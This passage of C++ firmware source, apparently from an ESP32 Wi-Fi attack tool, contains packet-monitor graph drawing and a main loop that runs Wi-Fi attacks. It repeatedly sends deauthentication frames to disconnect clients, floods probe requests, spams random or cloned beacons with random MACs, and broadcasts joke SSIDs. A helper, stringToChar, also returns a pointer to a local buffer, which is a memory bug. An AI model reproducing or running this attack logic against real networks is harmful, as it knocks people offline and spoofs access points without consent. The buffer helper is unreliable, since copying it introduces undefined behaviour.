  2678. if (y_scale > 1) {
  2679. y_scale--;
  2680. delay(70);
  2681. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2682. display_obj.tftDrawXScaleButtons(x_scale);
  2683. display_obj.tftDrawYScaleButtons(y_scale);
  2684. display_obj.tftDrawChannelScaleButtons(set_channel);
  2685. display_obj.tftDrawExitScaleButtons();
  2686. //updateMidway();
  2687. break;
  2688. }
  2689. }
  2690. // Y + button pressed
  2691. else if (b == 3) {
  2692. if (y_scale < 9) {
  2693. y_scale++;
  2694. delay(70);
  2695. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2696. display_obj.tftDrawXScaleButtons(x_scale);
  2697. display_obj.tftDrawYScaleButtons(y_scale);
  2698. display_obj.tftDrawChannelScaleButtons(set_channel);
  2699. display_obj.tftDrawExitScaleButtons();
  2700. //updateMidway();
  2701. break;
  2702. }
  2703. }
  2704. // Channel - button pressed
  2705. else if (b == 4) {
  2706. if (set_channel > 1) {
  2707. Serial.println("Shit channel down");
  2708. set_channel--;
  2709. delay(70);
  2710. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2711. display_obj.tftDrawXScaleButtons(x_scale);
  2712. display_obj.tftDrawYScaleButtons(y_scale);
  2713. display_obj.tftDrawChannelScaleButtons(set_channel);
  2714. display_obj.tftDrawExitScaleButtons();
  2715. changeChannel();
  2716. break;
  2717. }
  2718. }
  2719. // Channel + button pressed
  2720. else if (b == 5) {
  2721. if (set_channel < MAX_CHANNEL) {
  2722. Serial.println("Shit channel up");
  2723. set_channel++;
  2724. delay(70);
  2725. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2726. display_obj.tftDrawXScaleButtons(x_scale);
  2727. display_obj.tftDrawYScaleButtons(y_scale);
  2728. display_obj.tftDrawChannelScaleButtons(set_channel);
  2729. display_obj.tftDrawExitScaleButtons();
  2730. changeChannel();
  2731. break;
  2732. }
  2733. }
  2734. else if (b == 6) {
  2735. Serial.println("Exiting packet monitor...");
  2736. this->StartScan(WIFI_SCAN_OFF);
  2737. //display_obj.tft.init();
  2738. this->orient_display = true;
  2739. return;
  2740. }
  2741. }
  2742. }
  2743. if (currentTime - initTime >= GRAPH_REFRESH) {
  2744. //Serial.println("-----------------------------------------");
  2745. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2746. x_pos += x_scale;
  2747. initTime = millis();
  2748. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2749. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2750. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2751. //Serial.println("num_beacon: " + (String)num_beacon);
  2752. //Serial.println("num_deauth: " + (String)num_deauth);
  2753. //Serial.println(" num_probe: " + (String)num_probe);
  2754. num_beacon = 0;
  2755. num_probe = 0;
  2756. num_deauth = 0;
  2757. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2758. //Plot "X" value
  2759. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2760. //Plot "Z" value
  2761. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2762. //Plot "Y" value
  2763. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2764. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2765. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2766. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2767. {
  2768. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2769. }
  2770. else
  2771. {
  2772. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2773. }
  2774. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2775. //if (x_pos <= 90)
  2776. if (x_pos < 0) // below x axis
  2777. {
  2778. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2779. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2780. }
  2781. else
  2782. {
  2783. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2784. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2785. }
  2786. //tftDisplayTime();
  2787. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2788. {
  2789. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2790. }
  2791. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2792. y_pos_y_old = y_pos_y;
  2793. y_pos_z_old = y_pos_z;
  2794. //delay(50);
  2795. }
  2796. sd_obj.main();
  2797. }
  2798. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2799. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2800. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2801. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2802. display_obj.tftDrawYScaleButtons(y_scale);
  2803. display_obj.tftDrawChannelScaleButtons(set_channel);
  2804. display_obj.tftDrawExitScaleButtons();
  2805. display_obj.tftDrawColorKey();
  2806. display_obj.tftDrawGraphObjects(x_scale);
  2807. }
  2808. #endif
  2809. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2810. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2811. // showMetadata(snifferPacket, type);
  2812. //}
  2813. void WiFiScan::changeChannel(int chan) {
  2814. this->set_channel = chan;
  2815. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2816. delay(1);
  2817. }
  2818. void WiFiScan::changeChannel()
  2819. {
  2820. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2821. delay(1);
  2822. }
  2823. // Function to cycle to the next channel
  2824. void WiFiScan::channelHop()
  2825. {
  2826. this->set_channel = this->set_channel + 1;
  2827. if (this->set_channel > 13) {
  2828. this->set_channel = 1;
  2829. }
  2830. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2831. delay(1);
  2832. }
  2833. char* WiFiScan::stringToChar(String string) {
  2834. char buf[string.length() + 1] = {};
  2835. string.toCharArray(buf, string.length() + 1);
  2836. return buf;
  2837. }
  2838. // Function for updating scan status
  2839. void WiFiScan::main(uint32_t currentTime)
  2840. {
  2841. // WiFi operations
  2842. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2843. (currentScanMode == WIFI_SCAN_AP) ||
  2844. (currentScanMode == WIFI_SCAN_STATION) ||
  2845. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2846. (currentScanMode == WIFI_SCAN_PWN) ||
  2847. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2848. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2849. (currentScanMode == WIFI_SCAN_ALL))
  2850. {
  2851. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2852. {
  2853. initTime = millis();
  2854. channelHop();
  2855. }
  2856. }
  2857. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2858. {
  2859. #ifdef HAS_SCREEN
  2860. #ifndef MARAUDER_MINI
  2861. packetMonitorMain(currentTime);
  2862. #endif
  2863. #endif
  2864. }
  2865. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2866. {
  2867. #ifdef HAS_SCREEN
  2868. #ifndef MARAUDER_MINI
  2869. eapolMonitorMain(currentTime);
  2870. #endif
  2871. #endif
  2872. }
  2873. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2874. {
  2875. #ifdef HAS_SCREEN
  2876. eapolMonitorMain(currentTime);
  2877. #endif
  2878. }
  2879. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2880. for (int i = 0; i < 55; i++)
  2881. this->sendProbeAttack(currentTime);
  2882. if (currentTime - initTime >= 1000) {
  2883. initTime = millis();
  2884. String displayString = "";
  2885. String displayString2 = "";
  2886. displayString.concat(text18);
  2887. displayString.concat(packets_sent);
  2888. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2889. displayString2.concat(" ");
  2890. #ifdef HAS_SCREEN
  2891. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2892. display_obj.showCenterText(displayString2, 160);
  2893. display_obj.showCenterText(displayString, 160);
  2894. #endif
  2895. packets_sent = 0;
  2896. }
  2897. }
  2898. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2899. for (int i = 0; i < 55; i++)
  2900. this->sendDeauthAttack(currentTime, this->dst_mac);
  2901. if (currentTime - initTime >= 1000) {
  2902. initTime = millis();
  2903. String displayString = "";
  2904. String displayString2 = "";
  2905. displayString.concat(text18);
  2906. displayString.concat(packets_sent);
  2907. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2908. displayString2.concat(" ");
  2909. #ifdef HAS_SCREEN
  2910. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2911. display_obj.showCenterText(displayString2, 160);
  2912. display_obj.showCenterText(displayString, 160);
  2913. #endif
  2914. packets_sent = 0;
  2915. }
  2916. }
  2917. else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
  2918. for (int i = 0; i < 55; i++)
  2919. this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
  2920. if (currentTime - initTime >= 1000) {
  2921. initTime = millis();
  2922. String displayString = "";
  2923. String displayString2 = "";
  2924. displayString.concat(text18);
  2925. displayString.concat(packets_sent);
  2926. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2927. displayString2.concat(" ");
  2928. #ifdef HAS_SCREEN
  2929. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2930. display_obj.showCenterText(displayString2, 160);
  2931. display_obj.showCenterText(displayString, 160);
  2932. #endif
  2933. packets_sent = 0;
  2934. }
  2935. }
  2936. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2937. // Need this for loop because getTouch causes ~10ms delay
  2938. // which makes beacon spam less effective
  2939. for (int i = 0; i < access_points->size(); i++) {
  2940. if (access_points->get(i).selected)
  2941. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2942. random(256),
  2943. random(256),
  2944. random(256),
  2945. random(256),
  2946. random(256)}});
  2947. }
  2948. if (currentTime - initTime >= 1000)
  2949. {
  2950. initTime = millis();
  2951. //Serial.print("packets/sec: ");
  2952. //Serial.println(packets_sent);
  2953. String displayString = "";
  2954. String displayString2 = "";
  2955. displayString.concat(text18);
  2956. displayString.concat(packets_sent);
  2957. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2958. displayString2.concat(" ");
  2959. #ifdef HAS_SCREEN
  2960. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2961. display_obj.showCenterText(displayString2, 160);
  2962. display_obj.showCenterText(displayString, 160);
  2963. #endif
  2964. packets_sent = 0;
  2965. }
  2966. }
  2967. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2968. {
  2969. // Need this for loop because getTouch causes ~10ms delay
  2970. // which makes beacon spam less effective
  2971. for (int i = 0; i < 55; i++)
  2972. broadcastRandomSSID(currentTime);
  2973. if (currentTime - initTime >= 1000)
  2974. {
  2975. initTime = millis();
  2976. //Serial.print("packets/sec: ");
  2977. //Serial.println(packets_sent);
  2978. String displayString = "";
  2979. String displayString2 = "";
  2980. displayString.concat(text18);
  2981. displayString.concat(packets_sent);
  2982. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2983. displayString2.concat(" ");
  2984. #ifdef HAS_SCREEN
  2985. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2986. display_obj.showCenterText(displayString2, 160);
  2987. display_obj.showCenterText(displayString, 160);
  2988. #endif
  2989. packets_sent = 0;
  2990. }
  2991. }
  2992. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2993. for (int i = 0; i < ssids->size(); i++)
  2994. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2995. if (currentTime - initTime >= 1000)
  2996. {
  2997. initTime = millis();
  2998. packets_sent = 0;
  2999. }
  3000. }
  3001. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  3002. for (int i = 0; i < access_points->size(); i++) {
  3003. if (access_points->get(i).selected)
  3004. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  3005. }
  3006. if (currentTime - initTime >= 1000) {
  3007. initTime = millis();
  3008. packets_sent = 0;
  3009. }
  3010. }
  3011. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  3012. {
  3013. // Need this for loop because getTouch causes ~10ms delay
  3014. // which makes beacon spam less effective
  3015. for (int i = 0; i < 7; i++)
  3016. {
  3017. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  3018. {
  3019. broadcastSetSSID(currentTime, rick_roll[x]);
  3020. }
  3021. }
  3022. if (currentTime - initTime >= 1000)
  3023. {
  3024. initTime = millis();
  3025. //Serial.print("packets/sec: ");
  3026. //Serial.println(packets_sent);
  3027. String displayString = "";
  3028. String displayString2 = "";
  3029. displayString.concat(text18);
  3030. displayString.concat(packets_sent);
  3031. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  3032. displayString2.concat(" ");
  3033. #ifdef HAS_SCREEN
  3034. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  3035. display_obj.showCenterText(displayString2, 160);
  3036. display_obj.showCenterText(displayString, 160);
  3037. #endif
  3038. packets_sent = 0;
  3039. }
  3040. }
  3041. }